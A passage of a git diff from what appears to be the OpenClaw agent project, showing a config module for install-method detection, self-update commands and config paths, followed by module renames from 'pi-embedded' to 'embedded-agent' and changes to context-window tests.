`${currentDir}\0${process.execPath || ""}`.toLowerCase().replace(/\\/g, "/"); + + if (resolvedPath.includes("/pnpm/") || resolvedPath.includes("/.pnpm/")) { + return "pnpm"; + } + if (resolvedPath.includes("/yarn/") || resolvedPath.includes("/.yarn/")) { + return "yarn"; + } + if (isBunRuntime || resolvedPath.includes("/install/global/node_modules/")) { + return "bun"; + } + if (resolvedPath.includes("/npm/") || resolvedPath.includes("/node_modules/")) { + return "npm"; + } + + return "unknown"; +} + +function getInferredNpmInstall(): { root: string; prefix: string } | undefined { + const packageDir = getPackageDir(); + const path = + process.platform === "win32" || packageDir.includes("\\") ? win32 : { basename, dirname }; + const parent = path.dirname(packageDir); + let root: string | undefined; + if ( + path.basename(parent).startsWith("@") && + path.basename(path.dirname(parent)) === "node_modules" + ) { + root = path.dirname(parent); + } else if (path.basename(parent) === "node_modules") { + root = parent; + } + if (!root) { + return undefined; + } + const rootParent = path.dirname(root); + if (path.basename(rootParent) === "lib") { + return { root, prefix: path.dirname(rootParent) }; + } + // Windows global npm prefixes use `\\node_modules`, which is + // indistinguishable from local project installs by path shape alone. Do not + // infer unsupported Windows custom prefixes without `npm root -g` evidence. + return undefined; +} + +function getSelfUpdateCommandForMethod( + method: InstallMethod, + installedPackageName: string, + updatePackageName = installedPackageName, + npmCommand?: string[], +): SelfUpdateCommand | undefined { + switch (method) { + case "bun-binary": + return undefined; + case "pnpm": + return makeSelfUpdateCommand( + makeSelfUpdateCommandStep("pnpm", ["install", "-g", "--ignore-scripts", updatePackageName]), + updatePackageName === installedPackageName + ? undefined + : makeSelfUpdateCommandStep("pnpm", ["remove", "-g", installedPackageName]), + ); + case "yarn": + return makeSelfUpdateCommand( + makeSelfUpdateCommandStep("yarn", ["global", "add", "--ignore-scripts", updatePackageName]), + updatePackageName === installedPackageName + ? undefined + : makeSelfUpdateCommandStep("yarn", ["global", "remove", installedPackageName]), + ); + case "bun": + return makeSelfUpdateCommand( + makeSelfUpdateCommandStep("bun", ["install", "-g", "--ignore-scripts", updatePackageName]), + updatePackageName === installedPackageName + ? undefined + : makeSelfUpdateCommandStep("bun", ["uninstall", "-g", installedPackageName]), + ); + case "npm": { + const [command = "npm", ...npmArgs] = npmCommand ?? []; + const inferred = npmCommand?.length ? undefined : getInferredNpmInstall(); + const prefixArgs = [...npmArgs, ...(inferred ? ["--prefix", inferred.prefix] : [])]; + const installStep = makeSelfUpdateCommandStep(command, [ + ...prefixArgs, + "install", + "-g", + "--ignore-scripts", + updatePackageName, + ]); + const uninstallStep = + updatePackageName === installedPackageName + ? undefined + : makeSelfUpdateCommandStep(command, [ + ...prefixArgs, + "uninstall", + "-g", + installedPackageName, + ]); + return makeSelfUpdateCommand(installStep, uninstallStep); + } + case "unknown": + return undefined; + } + return undefined; +} + +function readCommandOutput( + command: string, + args: string[], + options: { requireSuccess?: boolean } = {}, +): string | undefined { + const result = spawnProcessSync(command, args, { + encoding: "utf-8", + stdio: ["ignore", "pipe", "pipe"], + }); + if (result.status === 0) { + return result.stdout.trim() || undefined; + } + if (options.requireSuccess) { + const reason = + result.error?.message || result.stderr.trim() || `exit code ${result.status ?? "unknown"}`; + throw new Error(`Failed to run ${[command, ...args].join(" ")}: ${reason}`); + } + return undefined; +} + +function getGlobalPackageRoots( + method: InstallMethod, + _packageName: string, + npmCommand?: string[], +): string[] { + switch (method) { + case "npm": { + const configured = !!npmCommand?.length; + const [command = "npm", ...npmArgs] = npmCommand ?? []; + if (configured && command === "bun") { + const bunBin = readCommandOutput(command, [...npmArgs, "pm", "bin", "-g"], { + requireSuccess: true, + }); + const roots = [join(homedir(), ".bun", "install", "global", "node_modules")]; + if (bunBin) { + roots.push(join(dirname(bunBin), "install", "global", "node_modules")); + } + return roots; + } + const root = readCommandOutput(command, [...npmArgs, "root", "-g"], { + requireSuccess: configured, + }); + const inferred = configured ? undefined : getInferredNpmInstall(); + return [root, inferred?.root].filter((x): x is string => !!x); + } + case "pnpm": { + const root = readCommandOutput("pnpm", ["root", "-g"]); + return root ? [root, dirname(root)] : []; + } + case "yarn": { + const dir = readCommandOutput("yarn", ["global", "dir"]); + return dir ? [dir, join(dir, "node_modules")] : []; + } + case "bun": { + const bunBin = readCommandOutput("bun", ["pm", "bin", "-g"]); + const roots = [join(homedir(), ".bun", "install", "global", "node_modules")]; + if (bunBin) { + roots.push(join(dirname(bunBin), "install", "global", "node_modules")); + } + return roots; + } + case "bun-binary": + case "unknown": + return []; + } + return []; +} + +function normalizeExistingPathForComparison( + path: string, + resolveSymlinks: boolean, +): string | undefined { + const resolvedPath = resolve(path); + if (!existsSync(resolvedPath)) { + return undefined; + } + let normalizedPath = resolvedPath; + if (resolveSymlinks) { + try { + normalizedPath = realpathSync(resolvedPath); + } catch { + return undefined; + } + } + if (process.platform === "win32") { + normalizedPath = normalizedPath.toLowerCase(); + } + return normalizedPath; +} + +function getPathComparisonCandidates(path: string): string[] { + return Array.from( + new Set( + [ + normalizeExistingPathForComparison(path, false), + normalizeExistingPathForComparison(path, true), + ].filter((candidate): candidate is string => !!candidate), + ), + ); +} + +function getEntrypointPackageDir(): string | undefined { + const entrypoint = process.argv[1]; + if (!entrypoint) { + return undefined; + } + let dir = dirname(entrypoint); + while (dir !== dirname(dir)) { + if (existsSync(join(dir, "package.json"))) { + return dir; + } + dir = dirname(dir); + } + return undefined; +} + +function isSelfUpdatePathWritable(): boolean { + const packageDir = getPackageDir(); + try { + accessSync(packageDir, constants.W_OK); + accessSync(dirname(packageDir), constants.W_OK); + return true; + } catch { + return false; + } +} + +function isManagedByGlobalPackageManager( + method: InstallMethod, + packageName: string, + npmCommand?: string[], +): boolean { + const packageDirs = [getPackageDir(), getEntrypointPackageDir()].filter( + (dir): dir is string => !!dir, + ); + const packageDirCandidates = packageDirs.flatMap((dir) => getPathComparisonCandidates(dir)); + return getGlobalPackageRoots(method, packageName, npmCommand).some((root) => { + return getPathComparisonCandidates(root).some((normalizedRoot) => { + const rootPrefix = normalizedRoot.endsWith(sep) ? normalizedRoot : `${normalizedRoot}${sep}`; + return packageDirCandidates.some((packageDir) => packageDir.startsWith(rootPrefix)); + }); + }); +} + +export function getSelfUpdateCommand( + packageName: string, + npmCommand?: string[], + updatePackageName = packageName, +): SelfUpdateCommand | undefined { + const method = detectInstallMethod(); + const command = getSelfUpdateCommandForMethod(method, packageName, updatePackageName, npmCommand); + if ( + !command || + !isManagedByGlobalPackageManager(method, packageName, npmCommand) || + !isSelfUpdatePathWritable() + ) { + return undefined; + } + return command; +} + +export function getSelfUpdateUnavailableInstruction( + packageName: string, + npmCommand?: string[], + updatePackageName = packageName, +): string { + const method = detectInstallMethod(); + if (method === "bun-binary") { + return `Download from: https://github.com/openclaw/openclaw/releases/latest`; + } + const command = getSelfUpdateCommandForMethod(method, packageName, updatePackageName, npmCommand); + if (command) { + if ( + isManagedByGlobalPackageManager(method, packageName, npmCommand) && + !isSelfUpdatePathWritable() + ) { + return `This installation is managed by a global ${method} install, but the install path is not writable. Update it yourself with: ${command.display}`; + } + return `This installation is not managed by a global ${method} install. Update it with the package manager, wrapper, or source checkout that provides it.`; + } + return `Update ${updatePackageName} using the package manager, wrapper, or source checkout that provides this installation.`; +} + +export function getUpdateInstruction(packageName: string): string { + const method = detectInstallMethod(); + const command = getSelfUpdateCommandForMethod(method, packageName); + if (command) { + return `Run: ${command.display}`; + } + return getSelfUpdateUnavailableInstruction(packageName); +} + +// ============================================================================= +// Package Asset Paths (shipped with executable) +// ============================================================================= + +/** + * Get the base directory for resolving package assets (themes, package.json, README.md, CHANGELOG.md). + * - For Bun binary: returns the directory containing the executable + * - For Node.js (dist/): returns currentDir (the dist/ directory) + * - For tsx (src/): returns parent directory (the package root) + */ +export function getPackageDir(): string { + // Allow override via environment variable (useful for Nix/Guix where store paths tokenize poorly) + const envDir = process.env.OPENCLAW_PACKAGE_DIR; + if (envDir) { + if (envDir === "~") { + return homedir(); + } + if (envDir.startsWith("~/")) { + return homedir() + envDir.slice(1); + } + return envDir; + } + + if (isBunBinary) { + // Bun binary: process.execPath points to the compiled executable + return dirname(process.execPath); + } + // Node.js: walk up from currentDir until we find package.json + let dir = currentDir; + while (dir !== dirname(dir)) { + if (existsSync(join(dir, "package.json"))) { + return dir; + } + dir = dirname(dir); + } + // Fallback (shouldn't happen) + return currentDir; +} + +function getPackageSourceOrDistDir(): string { + const packageDir = getPackageDir(); + const srcOrDist = existsSync(join(packageDir, "src")) ? "src" : "dist"; + return join(packageDir, srcOrDist); +} + +/** + * Get path to built-in themes directory (shipped with package) + * - For Bun binary: theme/ next to executable + * - For Node.js (dist/): dist/agents/modes/interactive/theme/ + * - For tsx (src/): src/agents/modes/interactive/theme/ + */ +export function getThemesDir(): string { + if (isBunBinary) { + return join(getPackageDir(), "theme"); + } + return join(getPackageSourceOrDistDir(), "agents", "modes", "interactive", "theme"); +} + +/** Get path to package.json */ +export function getPackageJsonPath(): string { + return join(getPackageDir(), "package.json"); +} + +/** Get path to README.md */ +export function getReadmePath(): string { + return resolve(join(getPackageDir(), "README.md")); +} + +/** Get path to docs directory */ +export function getDocsPath(): string { + return resolve(join(getPackageDir(), "docs")); +} + +/** Get path to examples directory */ +export function getExamplesPath(): string { + return resolve(join(getPackageDir(), "examples")); +} + +/** Get path to CHANGELOG.md */ +export function getChangelogPath(): string { + return resolve(join(getPackageDir(), "CHANGELOG.md")); +} + +/** + * Get path to built-in interactive assets directory. + * - For Bun binary: assets/ next to executable + * - For Node.js (dist/): dist/agents/modes/interactive/assets/ + * - For tsx (src/): src/agents/modes/interactive/assets/ + */ +export function getInteractiveAssetsDir(): string { + if (isBunBinary) { + return join(getPackageDir(), "assets"); + } + return join(getPackageSourceOrDistDir(), "agents", "modes", "interactive", "assets"); +} + +/** Get path to a bundled interactive asset */ +export function getBundledInteractiveAssetPath(name: string): string { + return join(getInteractiveAssetsDir(), name); +} + +// ============================================================================= +// App Config (from package.json openclawConfig) +// ============================================================================= + +interface PackageJson { + name?: string; + version?: string; + openclawConfig?: { + name?: string; + configDir?: string; + }; +} + +const pkg = JSON.parse(readFileSync(getPackageJsonPath(), "utf-8")) as PackageJson; + +const openClawConfigName: string | undefined = pkg.openclawConfig?.name; +export const PACKAGE_NAME: string = pkg.name || "openclaw/plugin-sdk/agent-sessions"; +export const APP_NAME: string = openClawConfigName || "openclaw"; +export const APP_TITLE: string = openClawConfigName ? APP_NAME : "OpenClaw"; +export const CONFIG_DIR_NAME: string = pkg.openclawConfig?.configDir || ".openclaw"; +export const VERSION: string = pkg.version || "0.0.0"; + +export const ENV_AGENT_DIR = `${APP_NAME.toUpperCase()}_AGENT_DIR`; +export const ENV_SESSION_DIR = `${APP_NAME.toUpperCase()}_AGENT_SESSION_DIR`; + +export function expandTildePath(path: string): string { + if (path === "~") { + return homedir(); + } + if (path.startsWith("~/")) { + return homedir() + path.slice(1); + } + return path; +} + +const DEFAULT_SHARE_VIEWER_URL = "https://openclaw.ai/session/"; + +/** Get the share viewer URL for a gist ID */ +export function getShareViewerUrl(gistId: string): string { + const baseUrl = process.env.OPENCLAW_SHARE_VIEWER_URL || DEFAULT_SHARE_VIEWER_URL; + return `${baseUrl}#${gistId}`; +} + +// ============================================================================= +// User Config Paths (~/.openclaw/agent/*) +// ============================================================================= + +/** Get the agent config directory (e.g., ~/.openclaw/agent/) */ +export function getAgentDir(): string { + const envDir = process.env[ENV_AGENT_DIR]; + if (envDir) { + return expandTildePath(envDir); + } + return join(homedir(), CONFIG_DIR_NAME, "agent"); +} + +/** Get path to user's custom themes directory */ +export function getCustomThemesDir(): string { + return join(getAgentDir(), "themes"); +} + +/** Get path to models.json */ +export function getModelsPath(): string { + return join(getAgentDir(), "models.json"); +} + +/** Get path to auth.json */ +export function getAuthPath(): string { + return join(getAgentDir(), "auth.json"); +} + +/** Get path to settings.json */ +export function getSettingsPath(): string { + return join(getAgentDir(), "settings.json"); +} + +/** Get path to tools directory */ +export function getToolsDir(): string { + return join(getAgentDir(), "tools"); +} + +/** Get path to managed binaries directory (fd, rg) */ +export function getBinDir(): string { + return join(getAgentDir(), "bin"); +} + +/** Get path to prompt templates directory */ +export function getPromptsDir(): string { + return join(getAgentDir(), "prompts"); +} + +/** Get path to sessions directory */ +export function getSessionsDir(): string { + return join(getAgentDir(), "sessions"); +} + +/** Get path to debug log file */ +export function getDebugLogPath(): string { + return join(getAgentDir(), `${APP_NAME}-debug.log`); +} diff --git a/src/agents/context-window-guard.test.ts b/src/agents/context-window-guard.test.ts index 6155207916d..5829a63ac5e 100644 --- a/src/agents/context-window-guard.test.ts +++ b/src/agents/context-window-guard.test.ts @@ -113,7 +113,7 @@ describe("context-window-guard", () => { }); }); - it("normalizes provider aliases when reading models config context windows", () => { + it("does not read models config context windows across provider id variants", () => { const cfg = { models: { providers: { @@ -145,8 +145,8 @@ describe("context-window-guard", () => { }); expect(info).toEqual({ - source: "modelsConfig", - tokens: 12_000, + source: "model", + tokens: 64_000, }); }); diff --git a/src/agents/context.lookup.test.ts b/src/agents/context.lookup.test.ts index 4885a3f861f..640575b340d 100644 --- a/src/agents/context.lookup.test.ts +++ b/src/agents/context.lookup.test.ts @@ -32,7 +32,7 @@ vi.mock("./models-config.runtime.js", () => ({ ensureOpenClawModelsJson: contextTestState.ensureOpenClawModelsJson, })); -vi.mock("./pi-model-discovery-runtime.js", () => ({ +vi.mock("./agent-model-discovery.js", () => ({ discoverAuthStorage: contextTestState.discoverAuthStorage, discoverModels: contextTestState.discoverModels, })); @@ -380,7 +380,7 @@ describe("lookupContextTokens", () => { it("resolveContextTokensForModel prefers exact provider key over alias-normalized match", async () => { // When both "bedrock" and "amazon-bedrock" exist as config keys (alias pattern), // resolveConfiguredProviderContextWindow must return the exact-key match first, - // not the first normalized hit — mirroring pi-embedded-runner/model.ts behaviour. + // not the first normalized hit — mirroring embedded-agent-runner/model.ts behaviour. mockDiscoveryDeps([]); const cfg = { @@ -481,7 +481,7 @@ describe("lookupContextTokens", () => { expect(result).toBe(1_048_576); }); - it("resolveContextTokensForModel normalizes explicit provider aliases before config lookup", async () => { + it("resolveContextTokensForModel does not match explicit provider id variants before config lookup", async () => { mockDiscoveryDeps([]); const cfg = createContextOverrideConfig("z.ai", "glm-5", 256_000); @@ -492,6 +492,6 @@ describe("lookupContextTokens", () => { provider: "z-ai", model: "glm-5", }); - expect(result).toBe(256_000); + expect(result).toBeUndefined(); }); }); diff --git a/src/agents/context.test.ts b/src/agents/context.test.ts index 01703a6669f..b1c9aaf479e 100644 --- a/src/agents/context.test.ts +++ b/src/agents/context.test.ts @@ -1,11 +1,11 @@ import { describe, expect, it, vi } from "vitest"; +import { createSessionManagerRuntimeRegistry } from "./agent-hooks/session-manager-runtime-registry.js"; import { ANTHROPIC_CONTEXT_1M_TOKENS, applyConfiguredContextWindows, applyDiscoveredContextWindows, resolveContextTokensForModel, } from "./context.js"; -import { createSessionManagerRuntimeRegistry } from "./pi-hooks/session-manager-runtime-registry.js"; vi.mock("../config/config.js", () => ({ getRuntimeConfig: () => ({}) })); diff --git a/src/agents/context.ts b/src/agents/context.ts index 277aec39713..78252fe5e60 100644 --- a/src/agents/context.ts +++ b/src/agents/context.ts @@ -1,10 +1,11 @@ -// Lazy-load pi-coding-agent model metadata so we can infer context windows when -// the agent reports a model id. This includes custom models.json entries. +// Load session runtime model metadata so we can infer context windows when the +// agent reports a model id. This includes custom models.json entries. import { getRuntimeConfig } from "../config/config.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import { computeBackoff, type BackoffPolicy } from "../infra/backoff.js"; import { normalizeLowercaseStringOrEmpty } from "../shared/string-coerce.js"; +import { discoverAuthStorage, discoverModels } from "./agent-model-discovery.js"; import { resolveDefaultAgentDir } from "./agent-scope.js"; import { lookupCachedContextTokens, MODEL_CONTEXT_TOKEN_CACHE } from "./context-cache.js"; import { CONTEXT_WINDOW_RUNTIME_STATE } from "./context-runtime-state.js"; @@ -164,8 +165,6 @@ export function ensureContextWindowCacheLoaded(): Promise { } try { - const { discoverAuthStorage, discoverModels } = - await import("./pi-model-discovery-runtime.js"); const agentDir = resolveDefaultAgentDir(cfg); const authStorage = discoverAuthStorage(agentDir); const modelRegistry = discoverModels(authStorage, agentDir, { @@ -257,7 +256,7 @@ function resolveConfiguredProviderContextTokens( return undefined; } - // Mirror the lookup order in pi-embedded-runner/model.ts: exact key first, + // Mirror the lookup order in embedded-agent-runner/model.ts: exact key first, // then normalized fallback. This prevents alias collisions from picking the // wrong configured cap based on Object.entries iteration order. function readProviderContextTokens(providerConfig: ProviderConfigEntry | undefined) { @@ -307,7 +306,7 @@ function resolveConfiguredProviderContextTokens( return exactResult; } - // 2. Normalized fallback: covers alias keys such as "z.ai" → "zai". + // 2. Normalized fallback: covers case-only provider key differences. const normalizedProvider = normalizeProviderId(provider); return findContextTokens((id) => normalizeProviderId(id) === normalizedProvider); } diff --git a/src/agents/copilot-dynamic-headers.ts b/src/agents/copilot-dynamic-headers.ts index 879ab9e3ebf..8024eb8e94f 100644 --- a/src/agents/copilot-dynamic-headers.ts +++ b/src/agents/copilot-dynamic-headers.ts @@ -1,4 +1,4 @@ -import type { Context } from "@earendil-works/pi-ai"; +import type { Context } from "../llm/types.js"; /** @deprecated GitHub Copilot provider-owned helper; do not use from third-party plugins. */ export const COPILOT_EDITOR_VERSION = "vscode/1.107.0"; diff --git a/src/agents/custom-api-registry.test.ts b/src/agents/custom-api-registry.test.ts index 3b222b2a0e2..f1bee168a6d 100644 --- a/src/agents/custom-api-registry.test.ts +++ b/src/agents/custom-api-registry.test.ts @@ -1,11 +1,15 @@ +import { afterEach, describe, expect, it, vi } from "vitest"; import { clearApiProviders, - createAssistantMessageEventStream, getApiProvider, - registerBuiltInApiProviders, + registerApiProvider, unregisterApiProviders, -} from "@earendil-works/pi-ai"; -import { afterEach, describe, expect, it, vi } from "vitest"; +} from "../llm/api-registry.js"; +import { + registerBuiltInApiProviders, + resetApiProviders, +} from "../llm/providers/register-builtins.js"; +import { createAssistantMessageEventStream } from "../llm/utils/event-stream.js"; import { ensureCustomApiRegistered, getCustomApiRegistrySourceId } from "./custom-api-registry.js"; function getRegisteredTestProvider() { @@ -49,4 +53,26 @@ describe("ensureCustomApiRegistered", () => { expect(provider.streamSimple(model as never, context as never, options as never)).toBe(stream); expect(streamFn).toHaveBeenCalledTimes(2); }); + + it("keeps plugin api providers when refreshing built-ins", () => { + const sourceId = "plugin:test-reset-api"; + const api = "test-reset-plugin-api"; + const streamFn = vi.fn(() => createAssistantMessageEventStream()); + const streamSimpleFn = vi.fn(() => createAssistantMessageEventStream()); + registerApiProvider( + { + api, + stream: streamFn, + streamSimple: streamSimpleFn, + }, + sourceId, + ); + + resetApiProviders(); + + expect(getApiProvider(api)).toBeDefined(); + expect(getApiProvider("openai-responses")).toBeDefined(); + + unregisterApiProviders(sourceId); + }); }); diff --git a/src/agents/custom-api-registry.ts b/src/agents/custom-api-registry.ts index 51d687a4dd7..04085e27d96 100644 --- a/src/agents/custom-api-registry.ts +++ b/src/agents/custom-api-registry.ts @@ -1,10 +1,6 @@ -import type { StreamFn } from "@earendil-works/pi-agent-core"; -import { - getApiProvider, - registerApiProvider, - type Api, - type StreamOptions, -} from "@earendil-works/pi-ai"; +import { getApiProvider, registerApiProvider } from "../llm/api-registry.js"; +import type { Api, StreamOptions } from "../llm/types.js"; +import type { StreamFn } from "./runtime/index.js"; const CUSTOM_API_SOURCE_PREFIX = "openclaw-custom-api:"; diff --git a/src/agents/pi-embedded-block-chunker.test.ts b/src/agents/embedded-agent-block-chunker.test.ts similarity index 98% rename from src/agents/pi-embedded-block-chunker.test.ts rename to src/agents/embedded-agent-block-chunker.test.ts index f7efab3c8a9..934be79887c 100644 --- a/src/agents/pi-embedded-block-chunker.test.ts +++ b/src/agents/embedded-agent-block-chunker.test.ts @@ -1,6 +1,6 @@ import { describe, expect, it, vi } from "vitest"; import * as fences from "../markdown/fences.js"; -import { EmbeddedBlockChunker } from "./pi-embedded-block-chunker.js"; +import { EmbeddedBlockChunker } from "./embedded-agent-block-chunker.js"; function createFlushOnParagraphChunker(params: { minChars: number; maxChars: number }) { return new EmbeddedBlockChunker({ diff --git a/src/agents/pi-embedded-block-chunker.ts b/src/agents/embedded-agent-block-chunker.ts similarity index 100% rename from src/agents/pi-embedded-block-chunker.ts rename to src/agents/embedded-agent-block-chunker.ts diff --git a/src/agents/pi-embedded-error-observation.test.ts b/src/agents/embedded-agent-error-observation.test.ts similarity index 99% rename from src/agents/pi-embedded-error-observation.test.ts rename to src/agents/embedded-agent-error-observation.test.ts index c5372883adc..5c29e67fd78 100644 --- a/src/agents/pi-embedded-error-observation.test.ts +++ b/src/agents/embedded-agent-error-observation.test.ts @@ -5,7 +5,7 @@ import { buildTextObservationFields, sanitizeForConsole, shouldSuppressRawErrorConsoleSuffix, -} from "./pi-embedded-error-observation.js"; +} from "./embedded-agent-error-observation.js"; const OBSERVATION_BEARER_TOKEN = "sk-redact-test-token"; const OBSERVATION_COOKIE_VALUE = "session-cookie-token"; diff --git a/src/agents/pi-embedded-error-observation.ts b/src/agents/embedded-agent-error-observation.ts similarity index 99% rename from src/agents/pi-embedded-error-observation.ts rename to src/agents/embedded-agent-error-observation.ts index 6275c107353..f8948318cbf 100644 --- a/src/agents/pi-embedded-error-observation.ts +++ b/src/agents/embedded-agent-error-observation.ts @@ -7,7 +7,7 @@ import { getApiErrorPayloadFingerprint, parseApiErrorInfo, type ProviderRuntimeFailureKind, -} from "./pi-embedded-helpers.js"; +} from "./embedded-agent-helpers.js"; import { stableStringify } from "./stable-stringify.js"; export { sanitizeForConsole } from "./console-sanitize.js"; diff --git a/src/agents/pi-embedded-helpers.buildbootstrapcontextfiles.test.ts b/src/agents/embedded-agent-helpers.buildbootstrapcontextfiles.test.ts similarity index 99% rename from src/agents/pi-embedded-helpers.buildbootstrapcontextfiles.test.ts rename to src/agents/embedded-agent-helpers.buildbootstrapcontextfiles.test.ts index 0042ffbee40..d78e35970aa 100644 --- a/src/agents/pi-embedded-helpers.buildbootstrapcontextfiles.test.ts +++ b/src/agents/embedded-agent-helpers.buildbootstrapcontextfiles.test.ts @@ -12,7 +12,7 @@ import { resolveBootstrapMaxChars, resolveBootstrapPromptTruncationWarningMode, resolveBootstrapTotalMaxChars, -} from "./pi-embedded-helpers.js"; +} from "./embedded-agent-helpers.js"; import type { WorkspaceBootstrapFile } from "./workspace.js"; import { DEFAULT_AGENTS_FILENAME } from "./workspace.js"; diff --git a/src/agents/pi-embedded-helpers.formatassistanterrortext.test.ts b/src/agents/embedded-agent-helpers.formatassistanterrortext.test.ts similarity index 99% rename from src/agents/pi-embedded-helpers.formatassistanterrortext.test.ts rename to src/agents/embedded-agent-helpers.formatassistanterrortext.test.ts index 3c1c8c194fa..9fbc40d7d6e 100644 --- a/src/agents/pi-embedded-helpers.formatassistanterrortext.test.ts +++ b/src/agents/embedded-agent-helpers.formatassistanterrortext.test.ts @@ -1,4 +1,4 @@ -import type { AssistantMessage } from "@earendil-works/pi-ai"; +import type { AssistantMessage } from "openclaw/plugin-sdk/llm"; import { describe, expect, it } from "vitest"; import { MALFORMED_STREAMING_FRAGMENT_ERROR_MESSAGE } from "../shared/assistant-error-format.js"; import { @@ -9,7 +9,7 @@ import { formatRawAssistantErrorForUi, isRawApiErrorPayload, sanitizeUserFacingText, -} from "./pi-embedded-helpers.js"; +} from "./embedded-agent-helpers.js"; import { makeAssistantMessageFixture } from "./test-helpers/assistant-message-fixtures.js"; describe("formatAssistantErrorText", () => { @@ -415,7 +415,7 @@ describe("formatAssistantErrorText", () => { ); }); - it("returns an HTML-403 auth message for HTML provider auth failures", () => { + it("returns re-authentication copy for HTML provider 403 auth failures", () => { const msg = makeAssistantError("403 Access denied"); expect(formatAssistantErrorText(msg)).toBe( "Authentication failed at the provider. Re-authenticate and verify your provider credentials and account access.", diff --git a/src/agents/pi-embedded-helpers.isbillingerrormessage.test.ts b/src/agents/embedded-agent-helpers.isbillingerrormessage.test.ts similarity index 99% rename from src/agents/pi-embedded-helpers.isbillingerrormessage.test.ts rename to src/agents/embedded-agent-helpers.isbillingerrormessage.test.ts index 61a602cdfeb..114ebf222f9 100644 --- a/src/agents/pi-embedded-helpers.isbillingerrormessage.test.ts +++ b/src/agents/embedded-agent-helpers.isbillingerrormessage.test.ts @@ -18,7 +18,7 @@ import { isTransientHttpError, parseImageDimensionError, parseImageSizeError, -} from "./pi-embedded-helpers.js"; +} from "./embedded-agent-helpers.js"; // OpenAI 429 example shape: https://help.openai.com/en/articles/5955604-how-can-i-solve-429-too-many-requests-errors const OPENAI_RATE_LIMIT_MESSAGE = @@ -398,10 +398,10 @@ describe("isContextOverflowError", () => { } }); - it("matches model_context_window_exceeded stop reason surfaced by pi-ai", () => { + it("matches model_context_window_exceeded stop reason surfaced by shared model runtime", () => { // Anthropic API (and some OpenAI-compatible providers like ZhipuAI/GLM) return // stop_reason: "model_context_window_exceeded" when the context window is hit. - // The pi-ai library surfaces this as "Unhandled stop reason: model_context_window_exceeded". + // The shared model runtime library surfaces this as "Unhandled stop reason: model_context_window_exceeded". const samples = [ "Unhandled stop reason: model_context_window_exceeded", "model_context_window_exceeded", @@ -820,8 +820,8 @@ describe("classifyFailoverReason HTTP 410 handling", () => { expect(isFailoverErrorMessage(message)).toBe(true); }); - it("classifies bare pi-ai stream wrapper as timeout regardless of provider (#71620)", () => { - // pi-ai providers throw `Error("An unknown error occurred")` provider-agnostically + it("classifies bare shared model runtime stream wrapper as timeout regardless of provider (#71620)", () => { + // shared model runtime providers throw `Error("An unknown error occurred")` provider-agnostically // when streams end with stopReason "aborted" | "error" with no specific info. for (const sample of [ "An unknown error occurred", @@ -990,7 +990,7 @@ describe("isFailoverErrorMessage", () => { ]); }); - it("matches pi-ai openai-codex bare transport failures as timeout (#69368)", () => { + it("matches shared model runtime openai-codex bare transport failures as timeout (#69368)", () => { expectTimeoutFailoverSamples([ "Request failed", "request failed", diff --git a/src/agents/pi-embedded-helpers.sanitize-session-messages-images.removes-empty-assistant-text-blocks-but-preserves.test.ts b/src/agents/embedded-agent-helpers.sanitize-session-messages-images.removes-empty-assistant-text-blocks-but-preserves.test.ts similarity index 99% rename from src/agents/pi-embedded-helpers.sanitize-session-messages-images.removes-empty-assistant-text-blocks-but-preserves.test.ts rename to src/agents/embedded-agent-helpers.sanitize-session-messages-images.removes-empty-assistant-text-blocks-but-preserves.test.ts index 4ddc09fc69e..e50e7775029 100644 --- a/src/agents/pi-embedded-helpers.sanitize-session-messages-images.removes-empty-assistant-text-blocks-but-preserves.test.ts +++ b/src/agents/embedded-agent-helpers.sanitize-session-messages-images.removes-empty-assistant-text-blocks-but-preserves.test.ts @@ -1,10 +1,10 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; -import type { AssistantMessage, ToolResultMessage, UserMessage } from "@earendil-works/pi-ai"; +import type { AgentMessage } from "openclaw/plugin-sdk/agent-core"; +import type { AssistantMessage, ToolResultMessage, UserMessage } from "openclaw/plugin-sdk/llm"; import { describe, expect, it } from "vitest"; import { sanitizeGoogleTurnOrdering, sanitizeSessionMessagesImages, -} from "./pi-embedded-helpers.js"; +} from "./embedded-agent-helpers.js"; import { castAgentMessages, makeAgentAssistantMessage, diff --git a/src/agents/pi-embedded-helpers.sanitizeuserfacingtext.test.ts b/src/agents/embedded-agent-helpers.sanitizeuserfacingtext.test.ts similarity index 99% rename from src/agents/pi-embedded-helpers.sanitizeuserfacingtext.test.ts rename to src/agents/embedded-agent-helpers.sanitizeuserfacingtext.test.ts index ecc8eb66373..79aaf367093 100644 --- a/src/agents/pi-embedded-helpers.sanitizeuserfacingtext.test.ts +++ b/src/agents/embedded-agent-helpers.sanitizeuserfacingtext.test.ts @@ -1,9 +1,4 @@ import { describe, expect, it } from "vitest"; -import { - formatAgentInternalEventsForPrompt, - INTERNAL_RUNTIME_CONTEXT_BEGIN, - INTERNAL_RUNTIME_CONTEXT_END, -} from "./internal-events.js"; import { downgradeOpenAIFunctionCallReasoningPairs, downgradeOpenAIReasoningBlocks, @@ -12,7 +7,12 @@ import { sanitizeToolCallId, sanitizeUserFacingText, stripThoughtSignatures, -} from "./pi-embedded-helpers.js"; +} from "./embedded-agent-helpers.js"; +import { + formatAgentInternalEventsForPrompt, + INTERNAL_RUNTIME_CONTEXT_BEGIN, + INTERNAL_RUNTIME_CONTEXT_END, +} from "./internal-events.js"; describe("sanitizeUserFacingText", () => { it("strips final tags", () => { diff --git a/src/agents/pi-embedded-helpers.ts b/src/agents/embedded-agent-helpers.ts similarity index 73% rename from src/agents/pi-embedded-helpers.ts rename to src/agents/embedded-agent-helpers.ts index 0f41e127508..b7b4079ce33 100644 --- a/src/agents/pi-embedded-helpers.ts +++ b/src/agents/embedded-agent-helpers.ts @@ -8,7 +8,7 @@ export { resolveBootstrapPromptTruncationWarningMode, resolveBootstrapTotalMaxChars, stripThoughtSignatures, -} from "./pi-embedded-helpers/bootstrap.js"; +} from "./embedded-agent-helpers/bootstrap.js"; export { BILLING_ERROR_USER_MESSAGE, classifyProviderRuntimeFailureKind, @@ -44,34 +44,34 @@ export { isTimeoutErrorMessage, parseImageDimensionError, parseImageSizeError, -} from "./pi-embedded-helpers/errors.js"; -export type { ProviderRuntimeFailureKind } from "./pi-embedded-helpers/errors.js"; -export { sanitizeUserFacingText } from "./pi-embedded-helpers/sanitize-user-facing-text.js"; -export { isGoogleModelApi, sanitizeGoogleTurnOrdering } from "./pi-embedded-helpers/google.js"; +} from "./embedded-agent-helpers/errors.js"; +export type { ProviderRuntimeFailureKind } from "./embedded-agent-helpers/errors.js"; +export { sanitizeUserFacingText } from 